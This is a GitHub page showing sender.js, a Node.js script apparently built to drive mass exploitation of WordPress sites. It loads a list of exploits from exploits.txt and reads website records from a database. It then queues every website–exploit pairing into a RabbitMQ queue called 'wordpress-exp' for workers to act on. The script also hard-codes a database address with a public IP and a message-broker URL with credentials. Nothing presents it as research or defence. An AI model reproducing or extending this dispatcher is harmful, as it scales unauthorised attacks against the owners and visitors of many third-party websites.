-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsender.js
81 lines (68 loc) · 2.09 KB
/
sender.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
process.env.RETHINKDB_URL = "rethinkdb://207.38.84.54/gambling";
process.env.RABBITMQ_URL = "amqp://test:[email protected]";
require('coffee-script/register')
const db = require('seokit-db');
const debug = require('debug')(__filename);
import autobind from 'autobind-decorator'
const stream = require('stream');
const util = require('util');
const fs = require('fs');
const async = require('async');
const Writable = stream.Writable;
const amqp = require('amqplib');
const RABBITMQ_URL = process.env.RABBITMQ_URL || 'amqp://localhost';
import {EventEmitter} from 'events'
const exploits = fs.readFileSync(__dirname+'/exploits.txt','utf8').trim().split('\n');
console.log(exploits);
@autobind
class Sender {
channelName = 'wordpress-exp';
maxCount = 1000;
constructor() {
this.start()
}
async start() {
this.connection = await amqp.connect(RABBITMQ_URL);
this.channel = await this.connection.createChannel();
this.channel.assertQueue(this.channelName, {durable: true}).then(console.log);
async.eachLimit(exploits,1,this.checkNext)
}
async checkNext(exploit,next) {
let sendStream = this.createSendStream(exploit);
db('Website',model=>{
let reader = model.find().cursor();
reader.pipe(sendStream).on('finish', _=> {
console.log('Done');
next();
});
});
}
createSendStream(exploit) {
function SendStream(options) { Writable.call(this, options) };
util.inherits(SendStream, Writable);
let i = 0;
SendStream.prototype._write = (website, enc, callback) => {
let msg = JSON.stringify({website,exploit});
this.channel.sendToQueue(this.channelName, new Buffer(msg), {persistent: true});
if (++i > 1000) {
i = 0;
this.checkQueueLength(callback)
} else {
callback()
}
};
return new SendStream({objectMode: true});
}
async checkQueueLength(callback) {
let {messageCount} = await this.channel.checkQueue(this.channelName);
console.log('checkQueueLength',messageCount);
if (messageCount === undefined || messageCount >= this.maxCount) {
setTimeout(_=>{
this.checkQueueLength(callback)
},200)
} else {
callback()
}
}
}
new Sender();